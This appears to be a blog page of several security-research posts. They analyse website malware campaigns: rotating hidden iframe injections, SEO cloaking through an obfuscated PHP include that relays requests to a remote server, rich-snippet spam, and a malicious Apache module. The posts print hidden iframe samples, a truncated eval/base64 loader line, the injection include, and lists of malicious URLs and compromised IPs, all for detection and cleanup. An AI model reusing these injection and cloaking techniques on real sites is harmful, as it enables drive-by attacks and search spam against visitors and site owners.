This reminded me of another ongoing attack that also rotates iframe URLs in a similar way. However it has some distinguishing features that make it worth it to describe it separately.

Disclaimer: I still haven’t had access to websites affected by this hack and didn’t see the actual malicious code, but I have enough details that I managed to get as an external observer to speculate about what’s going on.

Symptoms

1. This hack affects all sorts of PHP sites. Most of the sites I checked were Joomla and WordPress sites.

2. There is a malicious iframe code at the very top of the HTML code of infected web pages.

<i f r a m e src="hxxp://<malicious URL>" width=1 height=1 style="visibility: hidden"></i f r a m e>

3. The iframe URL changes much more often then in the case described by Sucuri. It changes every minute! Actually this attack rotates a long list of URLs and roughly in two hours you begin to notice repetitions.

4. The iframe URLs conform to patterns that your can easily spot if you see a few URLs. Every few days the pattern changes. The current pattern is: http://<domain-of-a-hacked-site>/templates/system/index.php. For example:

hxxp://www .exileskimboards .com/templates/system/index.php
hxxp://www .granvillesoccer .com .au/templates/system/index.php
hxxp://www .bonabejadid .ir/templates/system/index.php
hxxp://www .dijonpoker .fr/templates/system/index.php
hxxp://rcouncil.rmutr .ac .th/templates/system/index.php
hxxp://www .tvstein .ch/templates/system/index.php

my list of 119 URLs can be found on pastebin.

Before that I saw: http://<domain-of-a-hacked-site>/<7-random-characters>.php.

hxxp://reneks .com .tr/yrdoter.php
hxxp://yatginkumlama .com/dlagphi.php
hxxp://vardarlarmutfak .com/qygkmfd.php
hxxp://genckoltukdoseme .com/whdkrmv.php
hxxp://oppoportal .com/ywdvbnk.php
hxxp://profiaudio .com .pl/xbiwspk.php
hxxp://targetedasia .com/rgrmvmh.php
hxxp://web429 .webclient2 .de/uqevulx.php

my incomplete list of 41 URLs can be found on pastebin.

Update (May 23rd, 2013): New list of 105 iframe URLs.

and http://<domain-of-a-hacked-site>/<path>/<subdir>/<subdir>.php.

hxxp://bugs4u .info/forum/downloads/monthly_06_2012/monthly_06_2012.php
hxxp://www .funfiles .cc/deliveryairport/deliveryairport.php
hxxp://www .svendborgfrivilligraad .dk/themes/Phos/forum/green/green.php
hxxp://www .lt90 .org/upload_files/now/nata/nata.php
hxxp://graf-pokrishkin .ru/temp/4183![barum]/4183![barum].php
hxxp://jivdom .info/forum/admin/applications_addon/ips/blog/setup/versions/upg_10003/upg_10003.php
hxxp://www .goduk1apt .com/elephantcablegrahamcooper/elephantcablegrahamcooper .php

my short list of 18 URLs can be found on pastebin.

5. The iframe is being injected only if visitors come from search engines and don’t use known IPs of search engine crawlers.

6. The iframe is being injected for all types of requests that contain eligible referrer headers. I.e. not only into web pages (content type text/html) but into any other requested resource: *.js, *.css, *.jpg, *.png, etc. and even “404 Not found” error pages. All the infected responses have the text/html content type, regardless of the type of the resource being requested, their status code is 200 (even for non-existen pages whose content say “404 not found”), and they have the X-Powered-By: PHP headers even for static files.

7. The malicious code seems to be buggy and on some sites it generates the “500 Internal Server Error“.

What’s going on?

Now let me speculate about what’s going on.

1. When the iframes are injected into static resources, such as images, we see the extra X-Powered-By: PHP HTTP header. This means that some PHP script is responsible for this iframe injection.

2. Since the iframe HTML code is being injected even into static resources that should not be processed by PHP (e.g. images, CSS, JS ), which is clearly a bug, this means that the malicious PHP code starts working before web server touches any legitimate files. But if requests lacks a search engine referrer, then the same static files are being processed directly (no X-Powered-By: PHP header and correct Content-Type) Therefore, we can suggest that it’s either something that’s working on the server level or something that has changed the site configuration.

3. This is not a server-wide infection. I checked other sites that share the same servers with the infected sites. They didn’t exhibit the same malicious behavior.

4. So it must be some site configuration modification. Since the malicious behavior relies on the Referrer header, I guess it is done using a set of ModRewrite rules in .htaccess file that redirect all incoming requests with eligible referrers (search engines and, maybe, social networks) to some PHP script hidden somewhere on the server, providing it with the originally requested URL as a parameter.

Malicious script

Here’s how such a script can work:

1. Get the URL requested by a visitor (passed as a parameter by the ModRewrite rule) and either fetch it directly, or make a roundtrip to a remote server that will fetch it and return the content (like in the scenario I described in my previous post).

2. Then check the visitors IP. If it is not in a known range of IPs belonging to search engines and security companies, then inject the iframe code at the very top of the fetched “page” content and return it back to user. Otherwise return the unmodified content. If the original URLs are being fetched by a remote server then the iframe code could be injected by that remote server too (and in this case skip the following points about the iframe generation)

Iframe generation

So how does the script change the iframe URLs (in case the iframe code is being generated by that script)? I’ve seen other attacks that use the following two tricks that can help accomplish this task:

1. There is a list of iframe URL saved somewhere on the server: either hard-coded in that script or in some standalone file. For example, I’ve seen an attack that used the log1.txt file in the /.logs/ subdirectory to store a list of malicious URLs that it used for script injections. In this case, hackers need to upload a new list to all the infected sites when they want to use a new list of URLs (and we know they changed their lists at least three times.)
2. As in the Sucuri’s example, the malicious script can simply request an iframe URL from a remote server on every load. In this case hackers don’t even need to update anything on the infected sites since they can manage URL lists centrally on their own server. Something tells me this variant is more plausible.

Iframe URLs

I normally focus on infected websites and don’t analyze malicious URLs. However in this case the malicious URLs clearly belong to other infected sites and can add some interesting details to this story.

The “/templates/system/index.php” pattern in the malicious iframe URLs suggests that all those sites are powered by Joomla. So they currently use a batch of about 120 URLs that all point to an index.php file in the system template of Joomla. I guess, those sites all had been hacked using a brute force attack on the Joomla login form, followed by malicious code injection into template files using the access to Joomla admin interface. (Many people have been talking about distributed WordPress brute force attacks lately, but you should not forget that similarly massive attacks are being targeted at Joomla too. I constantly come across their traces in logs of Joomla site I work with.)

But wait, if we take a look at other lists of iframe URLs with the “7-random-characters.php” and “subdir/subdir.php” patterns, we’ll see a different picture. You won’t see many Joomla sites there. Sites in those two lists are very heterogeneous: pure html, forums, Drupal, and even ASP.NET sites on IIS servers (although PHP was installed on those IIS servers). In my experience, such lists of hacked sites could be compiled as a result of attacks that steal FTP credentials from computers of their webmasters.

It looks like the gang that injects the iframes simply sells the traffic to another gang that provides them with the lists of URLs, or they manage several different attacks at the same time.

302 redirects

What does those iframes URLs point at? They actually do a 302 redirect to malicious resources that try to attack visitors’ computers using known vulnerabilities in browser plugins. At this point the malware looks for the following exploitable plugins: Adobe Reader, Java, Flash, Quick Time, Real Player, Shockwave, Silverlight, VLC and Windows Media Player. The page with the exploit tracks visitors’ IPs and will return the “404 not found” errors to returning visitors.

The redirect URLs synchronously change for every iframe URL (even for those with older URL patterns that are no longer in use) every minute. This proves that the redirect rules are not something static (like typical .htaccess redirects). They have a dynamic nature and should be handled by the PHP scripts themselves. Most likely they request the redirect URLs on-the-fly from a remote server (maybe the same that provided the iframe URLs).

The redirect URLs have a peculiar format:
http://<domain-name>/l<random-characters>?f<random-characters>=<7-digits>

hxxp://425roads .info/lilkohlbmxuh?fbeesiwtyf=518675
hxxp://425roads .net/lkqlgchu?flufewmrivlx=5186751
hxxp://425roads .org/lxqccnycjhsk?fctpmn=5186751
hxxp://averbolados .info:8000/lpdqh?fphxrvpdkck=9840870
hxxp://bigger-joy .org/lshsxkmci?fbeyn=5186751
hxxp://boxingplaces .org/lvfhilo?fmirinlsugbe=5186751
hxxp://cycling-infos .com:8000/lcrchcvcup?fpepbmtgcmb=5186751
hxxp://fiveandsixandseven .net:8000/lyyykbjynbnffo?ftegbdf=5186751
hxxp://germaindusant .net/llsjbcf?fqreotff=9840870
hxxp://jab-servers .com:8000/lesxcc?fidkdgljbty=5186751
hxxp://kinder-world .net/lkhlsxdqht?fjnuvip=9840870
hxxp://muscle-guys .info/lxwhcuxtwd?fqwscf=9840870
hxxp://mutauga .com/lhpejsgylf?fccgtqqorxt=5186751
hxxp://niria-coperta .org/ltjqv?fowcqxxui=5186751
hxxp://paris-online-guide .net:8000/lwjmlup?fmckhkdjyi=5186751
hxxp://pizza-recipes .de/lflpwvtkctoogi?foseyilcyx=5186751
hxxp://rotatethespin .org:8000/lduxhuqilciol?frvwbkq=9840870
hxxp://runthepig .info/lecqvmgugipdfd?fkrhcrk=5186751
hxxp://shinebaby .info:8000/lqfgmgbdxpboo?fjbdmdikp=5186751
hxxp://sortebmul .com/lqlchhsovktcld?fsosbn=9840870
hxxp://threehundredfortyone .net/liuecopx?fupctdcfmmg=9840870
hxxp://ufoarea51 .net/lfgeiytb?fesbqkwc=9840870
hxxp://underwater-house .com/lehcgcoswufitb?fkbdbqmemm=5186751
hxxp://urgentmathcourses .org/llgsigdse?flvqjtsgb=9840870
…

While the domain names change several times a day, the query part of the URLs changes every minute. Its numeric part remains the same though. At this point I noticed only two variants: 9840870 and 5186750. Not sure what they mean. Probably some IDs. You can use them to find even more malicious redirect URLs using the urlquery.net’s search tool: 5186751 and 9840870.

Malicious domains

When I got a first few redirect URLs, I thought they also belonged to hacked sites. There was no pattern in domain names, they all were quite meaningful (e.g. underwater-house .com or pizza-recipes .de), they belonged to multiple TDLs (.com, .net, .org, .info, .de) and pointed to multiple different IPs all over the world. However the root levels of those sites were empty, so I decided to take a look at their WHOIS records.

It turns out that all those domains (a couple of hundred) are less than a month old and each of them were registered using the united-domains.de service by a half-dozen “persons” (most likely fake) just hours before the attackers began to use them. Now it’s clear that they were specifically registered for this attack (probably using fake identities and stolen credit card details). I won’t be surprised if they also used the United Domains’ reselling program’s API to automate the process (I’ve blogged about this approach last year).

Pwnd servers

Then I checked the servers. It appeared they all were dedicated or virtual private servers with a few legitimate sites (usually from one to ten sites). One more detail. The HTTP headers of the malicious content show that it’s being served by Nginx web server. You might also have noticed that many redirect URLs point to port 8000. I checked several servers and figured out that this happens when server owners have Apache working on port 80. In this case hackers install Nginx on port 8000 and serve the malicious content off of it. Thus, the need to specify the port for URLs on such servers. But if Nginx was initially installed and working on port 80, then hackers only needed to configure new virtual hosts for their own domains and didn’t have to add port to their URLs.

The only plausible explanation is that all these servers are hacked at a root level.

Here’s the list of compromised servers (one of them is on the network of Linode, but I’m sure it’s not related to their recent security incident):

103.13.101.32
173.255.200.91
178.33.80.110
192.198.84.91
192.210.142.71
198.50.142.36
198.50.142.50
199.58.210.121
214.4.154.58
31.216.38.46
74.115.212.130
85.214.134.25
94.242.198.11
94.242.198.12
94.242.219.115

Missing links

At this point I don’t have definite answers to a few questions to complete this investigation. I hope that fellow researchers and webmasters of the hacked site will be able to help me.

1. How exactly do hackers break into websites to place the iframe code there?
2. How exactly does that code work? You can post the malicious code on pastebin or contact me and send the files.
3. How exactly were the sites hosting the iframe URLs hacked?
4. What is the malicious nginx setup on the compromised servers and how did the attackers gain root access there?

To webmasters

Meanwhile, some general advice to webmasters of compromised sites.

1. Check the .htaccess file for unwanted rules. Note, the malicious code can be hidden below a few screens of empty lines. There can also be a .htaccess file above the site root level that you should also check.
2. Scan your server for any new or modified files. It’s always good to use some integrity or version control system which greatly facilitate this task.
3. It’s always a good idea to change all passwords when your site is compromised. In this particular case I see some signs (not proved yet) of attacks that either brute-force or steal passwords, so changing passwords is a must.
   • Your FTP credentials could be stolen from your PC. Many trojans can easily extract your passwords if you save them in FTP clients. Specialized password manager programs or services (e.g. KeePass, LastPass) are much more suitable solution if you don’t want to memorize your passwords.
   • If you use web applications with admin interface, such as WordPress or Joomla, then you should never use default names of administrator users (e.g. admin, administrator, root). Create a new user with admin permissions and delete the default admin. And don’t forget about strong passwords.

##
Questions and comments are welcome.

Related posts:

• Cloaking: Think Outside of [Your] Box
• Weak Passwords and Tainted WordPress Widgets
• 10 FTP Clients Malware Steals Credentials From
• Introduction to Website Parasites

This post will be about one of such site hacks that involved SEO cloaking and used quite an interesting trick to alter page content.

First of all, I’d like to thank Jim Walker (Hack Repair) who shared the story of one hacked site and sent me the malicious code found there.

At first, it looked like a typical site affected by a black hat SEO cloaking:

1. You could see cialis/viagra keywords in Goole search results for that site (site: query).
2. You could see a modified title with “pharma” keywords in Unmask Parasites reports.
3. At the same time nothing like that was there when you opened the site in a web browser.

But then you would notice something puzzling:

• The spammy content was only present when you requested “www.example.com” and never when requested “www.example.com/index.php“, although it was a Joomla site and “www.example.com” is absolutely the same as “www.example.com/index.php“
• The spammy content changed quite often. For example, your initial Unmask Parasites report could include only a suspicious title, but a couple of hours later Unmask Parasites would also report a bunch of spammy external links as well. And a few hours later the links could change or disappear.
• And inspection of files on server showed that there were no modifications in files responsible for generation of HTML code for <title>, <meta description…> and the places that contained spammy links.

Of course, although that’s not typical, the cloaking code can distinguish between “/” and “index.php” requests, spammy content can be downloaded from a remote site in real time and the code itself can use smart tricks and CMS APIs to hide itself in surprising places and modify web pages on the fly. Further analysis showed that while all this guesses were true, the actual tricks’ implementation was more interesting than we originally thought.

How it all works?

A site scan revealed a file called “updtr” in the “images” directory inside one of the active Joomla template’s sudirectories. At the top level of the template, there was the “styles.php” file were hackers added one line of code in the middle of the file:

@require(dirname(__FILE__).'/moorainbow/images/updtr');

Looks quite innocuous, isn’t it. But if you open the “updtr” file you’ll see this (full version on pastebin):

<?php error_reporting(0); eval(gzuncompress(base64_decode('eF59Um1rgzAQ/...skipped...HF7rzfjRDublzMyFohTO9/wX8t+Ms'))); ?>
<?php eval(gzuncompress(base64_decode('eF6FU9tum0AQ/ZU8WHKi9oGr61XEg52wGI...skipped...hP0TxcRfPrnv+jt/x5c/v7DxO+YfA='))); ?>
<?php eval(gzuncompress(base64_decode('eF6FVW1rGzEM/itXCDRmIVh+Ox/ZlXWs7E...skipped...4lg+/txWmabb8u97Pjv8BlyxTKw=='))); ?>

That’s what a typical encrypted malicious PHP code looks like. (Reminder: don’t limit your searches for malicious PHP patterns to *.php files only.)

Once decoded (pastebin), you can see a pretty short code that checks various request parameters and returns different versions of web pages. What is interesting is how it does it.

Cloaking script

At the top level, we see three types of supported requests:

1. Requests with the “NZgroup” keyword in the User-Agent string. These requests check if the cloaking code is installed. They expect CHETKO##OK as a response.
2. Requests to “/” (site root without index.php) from any browsers whose User-Agent string is not “Kaspersky Internet Security“. Response HTML for such requests is downloaded from a remote server. This is the most interesting part that will be described below.
3. The rest requests. They go unchanged as if there were no malicious code at all.

So what happens when someone requests a homepage and why does the code specifically checks for the “Kaspersky Internet Security” User-Agent? Well, in this branch, the malicious code collects all the data from the request’s HTTP headers (user IP address (REMOTE_ADDR and HTTP_X_FORWARDED_FOR), site domain (HTTP_HOST), REQUEST_URI, HTTP_USER_AGENT, HTTP_ACCEPT_LANGUAGE, HTTP_REFERER, SERVER_SIGNATURE, QUERY_STRING) and sends them as a POST request to hxxp://mainserverprocess .net/googleornot/dtbnz.php. The result of this POST request is returned to a user as-is (without any further modifications).

As you might have guessed, the result will be different depending on the parameters sent to dtbnz.php on mainserverprocess .net.

Regular request from a normal user

If the dtbnz.php script detects a normal user, then it needs to show them a normal homepage. How can a script on a remote server get the HTML code of a third-party website? The answer is like everybody else: load it via HTTP (people use web browsers for that ;-) ). After all, the script has enough information to do it (site domain and the exact request). Good, but we know if this script requests a homepage from the hacked site, the cloaking code will try to contact dtbnz.php on mainserverprocess .net again. Looks like a deadlock! Not really. Do you remember the check for “Kaspersky Internet Security” User-Agent string? That’s right, the dtbnz.php script uses this User-Agent string for its own requests to avoid deadlocks!

If we check access logs, we’ll find those requests with the “Kaspersky Internet Security” User-Agent there. Those log entries will also show that the requests come not from directly the dtbnz.php script. mainserverprocess .net’s IP address is 204.45.87.69 while the “Kaspersky Internet Security” requests come from 204.45.87.66. This means that spammers have at least two different servers (on the Fdcservers.net network), each of which has it’s own role in this attack.

Googlebot visits

If the dtbnz.php script detects a request from Google (based on the IP addresses sent by the cloaking script), it retrieves the HTML code of the hacked homepage just like in the above scenario, but before sending it back to the cloaking script on the hacked site, it makes some spammy modifications:

• Normal <title> is replaced with a spammy title.
• A spammy descriptions is added to <meta name=”description” content=”…”"/>.
• Sometimes (but not always) they also add a block of spammy links to other hacked sites. These links regularly change so that only the sites that currently bear the cloaking code (remember the “NZgroup” requests?) are being promoted.

Example of the added link block:

<div id="pharmacy"><h1>online pharmacy cialis</h1><a href="http://www.example.com/" target="_blank">cialis online canada</a> ...skipped many links....<a href="http://example.org/" title="Cialis online 20mg">Cialis online 20mg</a> ...skipped some spammy text about erectile dysfunction treatment drugs...</div>

The rest content of the web page is left the same so that Google doesn’t flag it as suspicious for a radical content change.

Clicks on Google search results

So if spammers make Google index “pharma” keywords on the site what happens when people click on such search results?

The cloaking script checks the HTTP_REFERER header of requests and if it contains specific keywords (viagra, cialis, propecia, lipitor, and nexium) then it passes the keywords as the “pill” parameter to the dtbnz.php script. In all other cases the “pill” parameter is omitted.

When the dtbnz.php script sees known pills in requests then it simply fetches a corresponding online store pages from www .your-online-pharmacy .net or www .rxprofits .com and slightly modifies them so thatt they work properly off of a hacked site.

If the pills parameter is omitted then the dtbnz.php script fetched an unmodified copy of the hacked site homepage.

Summary

As you can see this particular approach has a key features:

1. The actual spammy content is not stored on a compromised server.
   1. This makes malware footprint smaller and its discovery more difficult.
   2. At the same time, it’s very flexible since hackers don’t have to break into compromised sites whenever they need to change anything.
2. Spammy content is not directly coupled with the hacked site source code:
   1. Webmasters can’t simply identify files with malicious code (e.g. if you see spammy keywords in the <title> tag, it doesn’t mean that the culprit is in your files that has or generates the <title> tag)
   2. Hackers don’t have to customize their code for every site/CMS/template/etc. They just need to upload one file and inject a single line of code into any *.php file loaded during the homepage generation. The rest will be done by a remote server.

To webmasters

Although this particular cloaking attack does quite smart things to stay under the radar, webmasters can still easily detect it and find the offending files. They only need to use proper tools and follow essential security practices.

High level detection

Since the goal of cloaking is to have Google index spammy content on your site, Google is the best tool to detect such issues.

1. Simple [site:yourdomain.com] query can reveal strange titles and page descriptions of your web pages.
2. Most black hat SEO hacks focus on the following topics: counterfeit prescription drugs, payday loans, fake luxury goods, porn, pirated software and movies so you use the site: searches along with corresponding keywords to find any pages that may contain them, for example: [site:example.com viagra OR cialis]. Of course this works only if your site does cover the same topics so the choice of the keywords is important. Here is a list of some keywords that may help reveal spam on your site: viagra, cialis, tadalafil, zanax, zoloft, nexium, pharmacy, “payday loan”, gucci, chanel, “cheap luxury”, porn, poker, casino, “cheap Windows”, “OEM software”.
3. Instead of doing the spammy keyword site: searches manually, you can setup Google alerts and have Google notify you if it finds those keywords on your site.
4. Regularly check Google Webmaster Tools reports. Especially the “Traffic” section where you may spot strange “Search Queries” and “Links to Your Site“.
5. It’s always a good idea to check what Google actually sees when crawls your site. You can use the “Fetch as Googlebot” tool for that (in the “Health” section of Webmaster Tools).
6. You may also find Unmask Parasites helpful. Of course, it can’t pick up every single black hat SEO trick but it’s proven to be quite efficient in revealing signs of cloaking (such as changed titles and spammy links). And it works in real time.

Low level detection

While Google can help reveal black hat SEO hacks of your site, you can see signs of the problem only when your site has been hacked for quite some time. Moreover, Google’s reports can’t show you how exactly hackers broke into your site and how they modified it internally. That’s is where you need low level techniques — they usually require more technical knowledge but their results are more timely and accurate.

1. Use some integrity control tool for your site. Something that notifies you about changes in the file system so that you know what, when and where changes. In case of the described attack, if the webmaster used some integrity monitoring tool, he would immediately know that someone created a new file (updtr) in the “images” directory and that the styles.php file was modified. He would also have information about any backdoors uploaded to his server. This would be enough to easily revert the changes and clean up the site.
2. Another useful technique is log analysis. Even if your site attracts lots of visitors and the logs are huge, you can still spot suspicious activity if you look for certain patterns. For example, scan logs for all POST requests and then make a list of all requested files. Then check the list for files that should not be there or should not normally accept POST requests. Then you might want to get complete logs of activity of those IPs to figure out what else they did on your site. This way you may spot requests to backdoors and vulnerable files. Regular log analysis can help you detect latent security problem and identify the point of penetration so that you can properly close security holes and prevent reinfections.

Of course, don’t forget about all the rest best security practices (e.g. strong passwords, trusted up-to-date and fully patched software, strict permissions, malware-free local computers. etc.) and you may not have to deal with recovering your site after a hacker attack.

Related posts

• Rich Snippets in Black Hat SEO
• Careless Webmasters as WordPress Hosting Providers for Spammers
• “Cheap Vista” or Cloaked Spam on High-Profile Sites
• Introduction to Website Parasites

Even if you are in “business” of black hat SEO and can use whatever dirty tricks you like, you still can’t guarantee the top position for the most popular keywords since there are already many established reputable sites and other black hats competing for the same keywords. But if you can’t always get the top position, you can still try to make your results look more attractive than the rest and increase their click through rate, right? Right! And this post will be about one of such tricks

Take a look at this screenshot. Which result does stand out of the rest?

I guess you all noticed result #5.

Of course, #1 will still get most of the clicks, but if searchers want to check some more results #5 will definitely catch their attention:

• It’s the only result on the page with “yellow stars” so it naturally stands out of the rest “blue-green-black” results.
• The stars are actually a representation of some “rating”. And the “rating” is quite high (83% – whatever it means) with thousands (4498!) of votes, which gives some “social proof” to this link.

If you make a quick screenshot analysis you will notice that results #1, #2, #3 and #6 are most likely legitimate web pages with some information about the topic (articles, discussions) while results #4 and #5 are spammy doorways that lead to online stores selling counterfeit drugs.

If there were no “rating” snippet then results #4 and #5 would most likely be ignored by people who only search for some information. However, with this yellow hot spot, some of them will probably click on the result #5, whether out of curiosity or just because they don’t have a knack of result snippet analysis and the result with “rating” seems more credible to them.

On the other hand, if there were no rating snippet and someone was really interested in buying some generic pills then they would probably first click on the result #4 and then (if not satisfied) on #5. But the rating snippet makes result #5 much more attractive: despite of being displayed lower, it is more prominent and has some “social proof”, which may influence your decision a lot when you are going to purchase and consume something from an “unofficial source”.

Rich snippets.

These prominent yellow stars are one example of rich snippets. This is something that Google may display in search results in addition to normal snippets (title, URL, description) when it finds some structured data that it understands and that can help searchers with their specific queries. You might have seen various rich snippets in Google search results: prices of items for e-commerce pages, recipe details for cooking pages, author’s pictures next to posts of known authors, etc.

The result #5 is displayed with a “review” rich snippet. The idea of such review snippets is they can help users better identify pages with good content. Unfortunately, they can be easily abused.

In this particular case, I want to describe a massive black hat SEO campain that involves hundreds of hacked legitimate websites where hackers used “cloaking” to make search engines see spammy content on thousands (if not millions) web pages instead of their legitimate content. On this blog, you can find articles about many other similar attacks, but this one has a new feature — it uses microformats to have Google display rating rich snippets for the spammy search results.

Attack details

The attackers hack websites (at this point I mainly see WordPress and Joomla sites) and install some PHP code that detects search engine crawlers and either replaces legitimate content inside of certain tags (headers, lists, links ets.) with spammy keywords or replace the whole web pages. In addition, every such a cloaked page contain some specifically formatted rating data (microformat) which Google considers as legit and converts it to rating snippets in search results.

Examples of the HTML code for reviews used by spammers:

<div class="hreview-aggregate">
<span class="item">
<span class="fn">Viagra from india is the <b style="color:black;background-color:#ffff66">best</b></span>
</span>
<span class="rating">81%</span>
<span class="votes">5102</span> votes.
</div>

or

<div xmlns:v="http://rdf.data-vocabulary.org/#" typeof="v:Review-aggregate">
<b><span property="v:itemreviewed">Levitra kullanimi</span></b>
<span rel="v:rating"><span typeof="v:Rating"><b>
<span property="v:average">9.1</span></b> from <b>
<span property="v:best">10</span></b></span></span><b>
<span property="v:votes">494</span></b> votes. Total <b>
<span property="v:count">494</span></b> votes.
</div>

3 sub-campaigns

At this point these spammers promote three types of sites:

1. Pills. Hacked pages contain the following text: THE BEST ONLINE PHARMACY. Bonus pills for every order.
2. Payday loans. Hacked pages contain the following text: THE BEST PAYDAY LOANS. No fax needed. 15 Minute Loans. APPLY NOW!
3. Porn. Hacked pages contain the following text: THE BEST FREE PORN Ads free sevice!

The spammy pages usually have two main functions:

1. They work as doorways to web sites they promote (human searcher oriented)
2. They reference other doorways to increase their page rank (search engine oriented)

Doorway functionality

When Google users click on the doorway results, the malicious script on hacked sites detects it and, instead of the legitimate page (which is for direct visits only) and the cloaked page (which is for search engines only), it either shows the third variant (the spammy offer page) or simply redirects to third-party sites that pay for this targeted traffic.

Right now the doorway pages redirect to:

• hxxp://rxstore24 .net/search/?currency=USD&q=…
• hxxp://worldbestonlinepharmacy.com/?wm=17750&tr=8030
• hxxp://googl-analistic .com/analis/in.cgi?15&seoref… (TDS)
• hxxp://www.icashloans.com/?c=…
• hxxp://allmoviesdownload .net/in.py?16&ip…

To webmasters

From webmasters’ perspective this hack is no different from the rest similar hacks except for one thing that makes detection easier.

In Google Webmaster Tools, there is a Structured Data Dashboard (Optimization->Structured Data) that should display information about all the structured data that Google has picked up on your site. If you don’t have any structured data (most sites still don’t) or you don’t use structured data for reviews/ratings you should notice that something is wrong if you see such data listed there.

That’s one of the reasons why you want to register all your sites with Google Webmaster Tools and regularly check all its reports — you can spot surprising things there if your site is hacked.

Some other Webmaster Tools reports that proved to be very useful for security problems detection:

• Traffic -> Search queries. This report shows keyword that people use to find your site on Google. If your site is about gardening and you see many “viagra” searches then there is definitely something wrong. This report also shows pages that people visit after clicking on Google’s search results — you might not recognize some URLs if hackers created hidden sections on your site.
• Health -> Fetch as Googlebot. If you see strange search queries but can’t find those keywords on your pages then use this tool to find out what Google sees when it loads your pages. In case of cloaking, your pages can be slightly modified or even completely unrecognizable.
• Health -> Index Status. This report shows number of indexed pages on your site. If you see a spike and you know that you didn’t add that many pages lately, then they could be created by hackers.

In addition to Google Webmaster Tools, you should monitor your site for unauthorized changes. Think about integrity or version control and regular backups.

##
Do you have other examples of malicious use of Google’s rish snippets?

Related posts:

• Careless Webmasters as WordPress Hosting Providers for Spammers
• Major Disasters in Poisoned Search Results
• “Cheap Vista” or Cloaked Spam on High-Profile Sites
• Introduction to Website Parasites

It is brought to you by StopBadware.org and Bluehost.

Here’s my boring summary of the video

• Keep your software up-to-date — both on your local computer and on your server.
• Use strong passwords — and don’t use the same passwords everywhere.
• Delete unused or unnecessary software — again both on your local computer and on your server. The fact that you don’t use all those plugins, themes and scripts won’t stop a hacker to exploit their vulnerabilities to break into your system.
• Use a secure web host — and don’t mess with security settings unless you know what you are doing. (Yeah, I know, this video is created by Bluehost) While it is true, it’s usually hard to tell how secure a web host is. At the same time some of the default settings of web hosts are quite questionable. E.g why do most of them still push clients to use FTP instead of SFTP and save passwords in FTP clients? (Based on tutorials I see in their knowledge bases).
• Don’t take Safe Browsing security warnings lightly — they are there for a reason. If your site is blacklisted, make sure to check Google Webmaster Tools (Health -> Malware) for additional information. You will also find the “request a review” link there — use it to ping Google when the issue is resolved so that it can check and unblock your site.

Some more no-brainers

• Use a reputable anti-virus software and update it regularly.
• Don’t click on emails unless you really trust a sender.
• And honestly, ads that promise to send you a new iPhone or some other valuable prize for free are just malware traps.

Simple, funny and to the point. Did you see any other security awareness videos that are at least not boring?

Similar posts:

• Matt Cutts on Malware
• Introduction to Website Parasites

Recap

This attack injects invisible malicious iframes into some server responses of all web sites on compromised servers. Typical code looks like this:

<style>.tlqvepxi { position:absolute; left:-1648px; top:-1752px} </style> <div class="tlqvepxi">
<iframe src="hxxp://matisere .com/21234443.html" width="581" height="476"></iframe></div>

in web pages and

document.write('<style>.hmfabv9 { position:absolute; left:-1141px; top:-1518px} </style> <div class="hmfabv9">
<iframe src="hxxp://sepatch .org/35204443.html" width="122" height="202"></iframe></div>');

in .js files.

All numeric parts and style names in this code are random. Iframe URLs synchronously change on all infected servers several times a day. They point to malicious pages on compromised third-party legitimate sites:

hxxp://sepatch .org/35204443.html
hxxp://ksner .pl/79144443.html
hxxp://hdreceivermitfestplatte .com/84064443.html
hxxp://quandlarcencielnaitra .com/14464443.html
hxxp://sepatch .org/35204443.html
hxxp://zsaugustowo .pl/40534443.html
hxxp://matisere .com/76254443.html
hxxp://pokercompany .com/46254443.html
hxxp://goplast .it/61114443.html
hxxp://grupamuzyczna .foxnet .pl/54344443.html
hxxp://michaelgaigg .com/88224443.html
hxxp://enertres .com/95154443.html
hxxp://sexualreawakening .com/56684443.html
hxxp://deasocial .com/65674443.html
hxxp://stampsbypost .com/44644443.html
hxxp://pcstation .es/32634443.html
hxxp://awakenedwithin .com/41714443.html
hxxp://paraguana .diocesis .ws/27944443.html
hxxp://viveenarte .com .ar/31744443.html
hxxp://thinkipa .com/52984443.html
hxxp://barclaywebdesign .ca/36234443.html
hxxp://mullerinstalacoes .com .br/99814443.html
hxxp://ultimateplrpack .com/51794443.html
hxxp://hotelcandeiasubatuba .com .br/14464443.html
hxxp://astroindia .com/15854443.html
hxxp://zerrozipshoppos .com/?a=YWZmaWQ9MDUyODg=
hxxp://webtrackerswimp .org/?a=YWZmaWQ9MDUyODg=
hxxp://bombkansas .info/?a=YWZmaWQ9MDUyODg=
hxxp://motorcyclecycling .org/?a=YWZmaWQ9MDUyODg=
…

As you can see all URLs end with either “4443.html” or “?a=YWZmaWQ9MDUyODg=“. Such URLs are good both for tracking and for adding appropriate rewrite rules for relatively random URLs on compromised sites.

Malicious Apache module

It turned out that all affected servers had infected Apache web server. Specifically, there was a malicious Apache .so module that injected all those iframes into server responses.

On the two servers that I worked with, the names of the malicious modules were: mod_spm_headers.so and mod_spm_mem.so. The file names may vary on different servers. I know that it could also be mod_log.so and mod_security.so.

They can be usually found in /usr/lib/httpd/modules or /usr/lib64/httpd/modules or whatever is your Apache module directory is. Sometimes the file is in the /usr/lib and symlinked to Apache modules directory.

In httpd.conf there should be a corresponding line like:

LoadModule spm_headers_module modules/mod_spm_headers.so

In some cases this line can be found in httpd.conf include files, e.g. extra/httpd-includes.conf.

The rogue Apache modules have the same timestamp as the rest legitimate modules (it quite easy to touch them) and their names look innocuous (didn’t you expect malicious_iframes.so after all?). So you should either check file names agains the list of real Apache modules or search for .so files that contain strings specific to these malicious modules. For example the following command should help reveal malicious .so file in the directory with Apache modules.
ls *.so | xargs strings | grep "module switcher"
or
ls *.so | xargs strings | grep dlEngine

What does this module do?

If you check output of the Linux strings command for those .so files, you will find quite descriptive keywords that give you an idea of what they do.

_CHECK_RAW_COOKIE
KEY_CLIENT
_CHECK_SITE_KERNEL
_CHECK_REFERER_IS_HOST
base64decode
xor_decrypt_string
xor_encrypt_string
_GEN_FILENAME_BLACKLIST
_CHECK_REFERER_IS_SEO
SIZE_ARRAY_SE_REFERER
_CHECK_BOT_USERAGENT
SIZE_ARRAY_BAN_USERAGENT
_ADD_TO_BLACKLIST
_CHECK_SITE_ADMIN
SIZE_ARRAY_BLACKLIST_URI
CLIENT_IP
SIZE_ARRAY_BAN_PROC
_IS_SUDOER
SIZE_ARRAY_SUDOERS
_CHECK_BLACKLIST
_INJECT_SKIP
_ADD_TO_WAITLIST
GEN_FILENAME_WAITLIST
_SESSION_DELETE
GEN_FILENAME_SESSION
_SESSION_KEYGEN
_SET_COOKIE_KEY
